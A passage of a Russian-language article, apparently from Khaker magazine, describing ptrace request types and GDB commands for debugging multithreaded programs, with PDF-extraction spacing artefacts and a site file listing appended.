•PTRACE_DETACH — прекраща ет отладку процес са с заданным PID (как

по PTRACE_ATTACH, так и по PTRACE_TRACEME) и возобновля ет его нор мальное выполнение . Все остальные аргумен ты игнориру ются.

• PTRACE_CONT — возобновля ет выполнение отлажива емого процес са с заданным PID без разрыва связи с процес сом отладчиком . Если addr == 0, выполнение продол жается с места последне го останова , в против ном случае — с указан ного адреса . Аргумент _data задает номер сигнала , посылаемо го отлажива емому процес су (ноль — нет сигналов ).

•PTRACE_SINGLESTEP — пошаговое выполнение процес са с заданным PID: выполнить следующую машинную инструк цию и перейти в состояние оста нова (под x86-64 это достига ется взводом флага трассиров ки, хотя некото рые хакерские библиоте ки используют аппарат ные точки останова ). BSD требует , чтобы аргумент addr был равен 1, Linux хочет видеть здесь 0. Остальные аргумен ты игнориру ются.

•PTRACE_PEEKTEXT/PTRACE_PEEKDATA — чтение машинного слова из кодовой области и области данных адресного пространс тва отлажива емого процес са соответс твенно. На большинс тве современ ных платформ

обе команды полностью эквивален тны. Функция ptrace принима ет целевой addr и возвра щает считан ный результат .

•PTRACE_POKETEXT, PTRACE_POKEDATA) — запись машинного слова ,

переданного в _data, по адресу addr.

•PTRACE_GETREGS, PTRACE_GETFPREGS, PTRACE_GETFPXREGS) —


чтение	регистров		общего назначения , сегмен тных			и отладоч ных			регистров
в область памяти процес са отладчика , заданную							указате лем			_addr.
Это системно зависимые				команды , приемле мые			только для x86/x86-
64 платформы		. Описание		регистро вой	структуры	содержится		в файле <

machine/reg.h>.

•PTRACE_SETREGS, PTRACE_SETFPREGS, PTRACE_SETFPXREGS —

установ ка значения регистров отлажива емого процес са путем копирования содержимого региона памяти по указате лю _addr.

•PTRACE_KILL — посылает отлажива емому процес су сигнал sigkill, который делает ему харакири .

ПОДДЕРЖКА МНОГОПОТОЧНОСТИ В GDB

Определить , поддержи вает ли твоя версия GDB многопо точ ность или нет, можно при помощи команды

info thread

Она выводит сведения о потоках, а для переключений между потоками исполь зуй следующую команду :

thread N

Поддержи вает ся отладка многопо точ ных приложе ний :

info threads

4 Thread 2051 (LWP 29448) RunEuler (lpvParam=0x80a67ac) at eu_

kern.cpp:633

3 Thread 1026 (LWP 29443) 0x4020ef14 in __libc_read () from /lib/

libc.so.6

* 2 Thread 2049 (LWP 29442) 0x40214260 in __poll (fds=0x80e0380,

nfds=1, timeout=2000)

1 Thread 1024 (LWP 29441) 0x4017caea in __

sigsuspend (set=0xbffff11c)

(gdb) thread 4

Продолжение статьи →

<<< < Предыдущая 12 / 42 3 4 > Следующая >>>

Соседние файлы в папке журнал хакер

#
20.04.202410.76 Mб12ха-264_Optimized.pdf
#
20.04.202412.1 Mб12ха-265_Optimized.pdf
#
20.04.202410.8 Mб13ха-272_Optimized.pdf
#
20.04.202412.37 Mб12ха-277_Optimized.pdf
#
20.04.202422.43 Mб12ха-283_Optimized.pdf
#
20.04.202417.09 Mб12ха-284_Optimized.pdf
#
20.04.202411.5 Mб12ха-285_Optimized.pdf
#
20.04.202416.06 Mб12ха-286_Optimized.pdf
#
20.04.202418.64 Mб12ха-287_Optimized.pdf
#
20.04.202420.22 Mб13ха-288_Optimized.pdf
#
20.04.202420.93 Mб12ха-291_Optimized.pdf